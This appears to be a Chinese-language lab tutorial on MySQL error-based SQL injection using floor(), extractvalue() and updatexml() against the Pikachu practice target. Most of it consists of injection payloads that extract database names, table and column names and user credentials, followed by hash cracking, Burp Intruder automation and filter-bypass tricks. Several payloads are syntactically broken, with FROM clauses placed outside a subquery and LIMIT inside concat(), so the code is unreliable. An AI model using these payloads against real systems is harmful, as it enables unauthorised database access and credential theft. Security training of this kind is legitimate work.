一、SQL 报错注入(3 大核心函数)详细解题步骤
核心前提
- 目标:通过报错注入获取数据库敏感数据(库名、表名、列名、账号密码)
- 适用场景:页面无数据回显位 (无法使用联合查询),但开启错误信息输出(存在
mysql_error()等报错函数) - 核心原理:构造错误 SQL 语句,利用报错函数将目标数据嵌入报错信息中,从前端提取
- 核心依赖:MySQL 数据库(
floor()、extractvalue()、updatexml()为 MySQL 特有函数)
二、完整解题步骤(分 9 个阶段)
阶段 1:环境准备与工具配置
步骤 1.1:搭建本地测试环境
- 安装 PHPStudy,启动 Apache+MySQL 服务
- 导入皮卡丘靶场(或自定义测试数据库),确保靶场可正常访问(如
http://127.0.0.1/pikachu/sqli/error.php) - 验证报错功能:访问靶场并输入单引号
',页面显示 SQL 语法错误(如You have an error in your SQL syntax),确认满足报错注入前提
步骤 1.2:配置抓包工具(Burp Suite)
- 启动 Burp Suite,默认监听端口
8080 - 配置火狐浏览器代理:IP=127.0.0.1,端口 = 8080,与 Burp 监听端口一致
- 启用抓包:确保 Burp 可正常抓取浏览器请求(测试访问靶场,确认数据包能在 Burp 中显示)
注意事项
- 若页面输入单引号无报错,说明网站屏蔽了错误信息,无法使用报错注入,需换布尔盲注或时间盲注
- 抓包前需关闭浏览器代理插件冲突(如其他 VPN、代理工具),避免无法抓取数据包
阶段 2:注入点检测与注入类型判断
步骤 2.1:寻找注入点
- 目标 URL:假设为
http://127.0.0.1/pikachu/sqli/error.php?id=1(参数id为疑似注入点) - 测试逻辑:优先测试 URL 参数,其次是表单、Cookie 等用户可输入位置
步骤 2.2:判断注入类型(字符型 / 数字型)
表格
| 测试方法 | Payload | 预期结果 | 结论 |
|---|---|---|---|
| 单引号报错法 | ?id=1' |
页面报错,提示 "单引号不匹配"(如near ''1''' at line 1) |
字符型注入(参数被单引号包裹) |
| 单引号报错法 | ?id=1' |
页面无报错,仅显示 "查询失败" | 数字型注入(参数无引号包裹) |
| 布尔语句验证 | 字符型:?id=1' and 1=1 --+ |
页面正常显示(无报错,因and 1=1恒真) |
确认字符型注入 |
| 布尔语句验证 | 数字型:?id=1 and 1=2 |
页面显示 "查询失败"(无报错,因and 1=2恒假) |
确认数字型注入 |
注意事项
- 字符型注入必须用
--+注释后续语句(+在 URL 中编码为空格,--为 SQL 注释符),不可用#(#在 URL 中是片段 ID 标识,数据库无法识别) - 若注入点为 POST 表单,需在 Burp 的 Repeater 模块中修改 POST 参数(如
username=1'&password=1),而非 URL 参数
阶段 3:核心报错函数原理与 Payload 模板
3.1 floor () 函数(最常用,无长度限制)
核心原理
- 函数组合:
floor()(向下取整)+count(*)(计数)+group by(分组)+rand(0)(伪随机数) - 报错触发:
group by分组时创建虚拟表(主键唯一),rand(0)在 "判断分组存在" 和 "插入新分组" 时执行两次,结果不一致导致主键重复,触发报错 - 数据嵌入:通过
concat()将目标数据与分组键连接,随报错信息输出
基础 Payload 模板
-
字符型注入: sql
?id=1' and (select count(*) from information_schema.columns group by concat(0x3A, 目标语句, 0x3A, floor(rand(0)*2))) --+ -
数字型注入(无需单引号闭合): sql
?id=1 and (select count(*) from information_schema.columns group by concat(0x3A, 目标语句, 0x3A, floor(rand(0)*2))) -
模板说明:
information_schema.columns:MySQL 系统表(必存在,避免因表不存在报错)0x3A:十六进制冒号(:),用于包裹目标数据,方便从报错信息中筛选目标语句:需替换为database()(查库名)、user()(查用户名)等
3.2 extractvalue () 函数(简单易用,有 32 位长度限制)
核心原理
- 函数本身作用:查询 XML 文档的 XPath 路径(语法:
extractvalue(XML文档, XPath路径)) - 报错触发:XPath 路径需为有效格式,故意传入无效格式(嵌入目标语句),触发语法错误
- 关键限制:返回结果最大长度为 32 位,超过需结合
substring()截取
基础 Payload 模板
-
字符型注入: sql
?id=1' and extractvalue(1, concat(0x3A, 目标语句, 0x3A)) --+ -
注意:必须拼接特殊字符(如
0x3A),否则目标数据无法显示
3.3 updatexml () 函数(支持修改 XML,32 位长度限制)
核心原理
- 函数本身作用:修改 XML 文档的 XPath 路径(语法:
updatexml(XML文档, XPath路径, 替换值)) - 报错触发:与
extractvalue()一致,传入无效 XPath 路径(嵌入目标语句),触发语法错误 - 关键限制:返回结果最大长度为 32 位,需配合字符串截取函数
基础 Payload 模板
-
字符型注入: sql
?id=1' and updatexml(1, concat(0x3A, 目标语句, 0x3A), 1) --+ -
注意:前两个参数需传入无效格式,第三个参数可随便填(如
1)
注意事项
rand()必须加种子0(rand(0)),否则为真随机数,可能无法稳定触发报错extractvalue()和updatexml()的 32 位长度限制:超过时需用substring(目标语句, 起始位置, 长度)截取(如substring(database(), 33, 32))
阶段 4:拼接方式选择(and/or)
核心逻辑(避免 "短路效应")
- 前语句为真(如
id=1存在):用and拼接(and需前后均为真才执行后续语句) - 前语句为假(如
id=999不存在):用or拼接(or需前后均为假才不执行后续语句) - 示例:
- 前语句为真(
id=1存在):?id=1' and extractvalue(1, concat(0x3A, database(), 0x3A)) --+ - 前语句为假(
id=999不存在):?id=999' or extractvalue(1, concat(0x3A, database(), 0x3A)) --+
- 前语句为真(
注意事项
- 若拼接后无报错,大概率是触发了 "短路效应",需切换
and/or重新测试 - 字符型注入必须闭合单引号 + 注释,否则语法错误导致语句不执行
阶段 5:获取核心元数据(库名→表名→列名)
步骤 5.1:获取当前数据库名
-
用 floor () 函数(字符型): sql
?id=1' and (select count(*) from information_schema.columns group by concat(0x3A, database(), 0x3A, floor(rand(0)*2))) --+ -
报错信息示例:
Duplicate entry ':pikachu:1' for key 'group_key',提取数据库名pikachu -
用 extractvalue () 函数(字符型): sql
?id=1' and extractvalue(1, concat(0x3A, database(), 0x3A)) --+ -
报错信息示例:
XPATH syntax error: ':pikachu:',提取数据库名pikachu
步骤 5.2:获取目标数据库的表名
-
需求:获取
pikachu数据库下的所有表名 -
方法 1:逐个获取(
LIMIT分页,floor () 函数)sql
?id=1' and (select count(*) from information_schema.tables where table_schema='pikachu' group by concat(0x3A, table_name, 0x3A, floor(rand(0)*2), limit 0,1)) --+limit 0,1:获取第 1 个表名(如user)limit 1,1:获取第 2 个表名(如flag)
-
方法 2:批量获取(
group_concat(),extractvalue () 函数)sql
?id=1' and extractvalue(1, concat(0x3A, group_concat(table_name), 0x3A)) from information_schema.tables where table_schema='pikachu' --+- 注意:若表名总长度超过 32 位,需用
substring()截取
- 注意:若表名总长度超过 32 位,需用
步骤 5.3:获取目标表的列名
-
需求:获取
pikachu数据库下user表的所有列名 -
字符型 Payload(updatexml () 函数): sql
?id=1' and updatexml(1, concat(0x3A, group_concat(column_name), 0x3A), 1) from information_schema.columns where table_schema='pikachu' and table_name='user' --+ -
报错信息示例:
XPATH syntax error: ':id,username,password:',提取列名id、username、password
注意事项
-
若目标表名 / 库名包含特殊字符,或被单引号过滤,可将名称转换为十六进制(如
pikachu→0x70696B61636875),Payload 示例:sql
?id=1' and extractvalue(1, concat(0x3A, group_concat(table_name), 0x3A)) from information_schema.tables where table_schema=0x70696B61636875 --+ -
group_concat()默认连接长度有限制(约 1024 字符),若表名 / 列名过多,需用LIMIT逐个获取
阶段 6:获取敏感数据(账号密码)
步骤 6.1:构造数据查询 Payload
-
需求:获取
user表中username和password字段的数据 -
字符型 Payload(floor () 函数,批量获取): sql
?id=1' and (select count(*) from pikachu.user group by concat(0x3A, group_concat(username,0x7C,password), 0x3A, floor(rand(0)*2))) --+ -
说明:
0x7C:十六进制竖线|,用于分隔用户名和密码(如admin|e10adc3949ba59abbe56e057f20f883e)pikachu.user:指定数据库和表(避免表名冲突)
步骤 6.2:提取并解密数据
- 执行结果:报错信息中包含
:admin|e10adc3949ba59abbe56e057f20f883e,pikachu|123456: - 密码解密:访问 MD5 在线解密网站(如
https://www.cmd5.com/),输入加密密码e10adc3949ba59abbe56e057f20f883e,解密得到明文123456
注意事项
- 若数据量较大,
group_concat()可能无法完整显示,需用LIMIT分页获取(如limit 0,1获取第一行数据) - 复杂密码(强加密)可能无法通过免费在线工具解密,需使用字典爆破工具(如 Hashcat)
阶段 7:处理超长数据(32 位长度限制解决方案)
问题场景
extractvalue()/updatexml()返回结果最大为 32 位,超长数据(如长库名、多个表名)无法完整显示
解决方案:substring()截取字符串
-
函数语法:
substring(目标语句, 起始位置, 截取长度) -
示例(获取超长数据库名): sql
?id=1' and extractvalue(1, concat(0x3A, substring(group_concat(schema_name), 1, 32), 0x3A)) from information_schema.schemata --+sql
?id=1' and extractvalue(1, concat(0x3A, substring(group_concat(schema_name), 33, 32), 0x3A)) from information_schema.schemata --+ -
说明:
- 第一句截取前 32 位,第二句截取 33-64 位,依次类推,直至获取完整数据
注意事项
- 起始位置从 1 开始计数,而非 0
- 截取长度建议设为 32(与函数限制一致),避免超出限制
阶段 8:批量获取数据(抓包工具自动化)
步骤 8.1:自动化遍历分页数据
- 抓包:在 Burp 中抓取报错注入请求,发送到
Intruder模块; - 清除变量:在
Positions标签页中,清除默认变量,仅选中LIMIT后的分页参数(如limit 0,1中的0); - 配置 payload:
- 选择
Payload type为Numbers(数字); - 设置
From=0,To=10(假设最多 10 行数据),Step=1(步长 1);
- 选择
- 开始攻击:点击
Start attack,Burp 会自动遍历所有分页数据; - 筛选结果:在攻击结果中搜索
:(冒号包裹的内容),快速提取所有敏感数据。
注意事项
- 自动化攻击前需确认目标网站无频率限制,避免 IP 被封禁;
- 步长设置为 1,确保不遗漏数据;若已知数据行数,可精准设置
To的值(如已知 5 行数据,To=4)。
阶段 9:注入完成与后续操作
- 核心成果:获取数据库名、表名、列名、管理员账号密码(如
admin/123456) - 后续操作:可登录网站后台,或进一步执行数据库增删改查、上传木马等操作(仅用于合法渗透测试)
- 清理痕迹:测试完成后,删除测试生成的临时数据,避免影响靶场环境
三、关键注意事项(避坑指南)
1. 语法与函数类
rand(0)不可省略种子0:真随机数(rand())可能导致报错不稳定,伪随机数(rand(0))可确保每次执行结果一致;from后必须指定真实表:优先使用information_schema.columns(MySQL 系统表,必存在),避免因自定义表不存在直接报错;- 特殊字符必须编码:URL 中空格→
%20、单引号→%27,或用 Burp Repeater 模块自动处理编码; - 字符型注入必须闭合 + 注释:Payload 末尾需加
--+,否则会因语法错误无法执行(如?id=1' and ... --+)。
2. 长度限制类
extractvalue()/updatexml()的 32 位限制:超长数据需用substring()截取,分多次获取;group_concat()默认长度限制:可通过set group_concat_max_len=10240(需管理员权限)扩大限制,或用LIMIT逐个获取。
3. 绕过防护类
- 大小写混合绕过:若
floor、extractvalue被过滤,可写成Floor、EXTRACTVALUE(MySQL 不区分大小写); - 注释插入绕过:若关键字被拦截,可插入注释(如
fl/**/oor、extra/**/ctvalue); - 十六进制转换绕过:单引号被过滤时,将表名 / 库名转换为十六进制(如
flag→0x666C6167),避免使用单引号。
4. 工具与环境类
- 抓包工具必须配置正确:Burp 监听端口与浏览器代理端口一致(默认 8080),否则无法抓取数据包;
- 靶场环境需开启报错功能:输入单引号无报错→无法使用报错注入,需换其他注入方式;
- 避免 "短路效应":根据前语句的真假状态选择
and/or拼接,否则后续注入语句不执行。
5. 法律与合规类
- 仅对授权目标测试:未授权测试属于非法行为,需承担法律责任;
- 敏感数据不得泄露:获取的账号密码、数据库信息需严格保密,测试完成后删除相关记录。
四、常见问题排查
表格
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
| 执行 Payload 后无报错,仅显示 "查询失败" | 注入类型判断错误(字符型 / 数字型混淆) | 重新用单引号报错法确认注入类型,调整 Payload 闭合方式 |
| 报错信息中无目标数据,仅显示 "主键重复" | concat()中未嵌入目标语句,或表不存在 |
检查 Payload 中concat()是否包含目标语句(如database()),确认from后表存在 |
| 多次执行 Payload 报错结果不一致 | 未加rand(0)种子,使用了真随机数 |
将rand()改为rand(0),确保伪随机数稳定 |
| 自动化攻击时 IP 被封禁 | 网站有频率限制 | 降低攻击速度(设置 Burp Intruder 延迟),或更换 IP |
extractvalue()显示不全 |
数据长度超过 32 位 | 用substring()分多次截取数据 |
通过以上步骤,可完整实现三大核心函数的报错注入,高效获取数据库敏感数据。关键在于掌握 "函数组合触发报错" 的核心逻辑,同时注意语法闭合、长度限制和防护绕过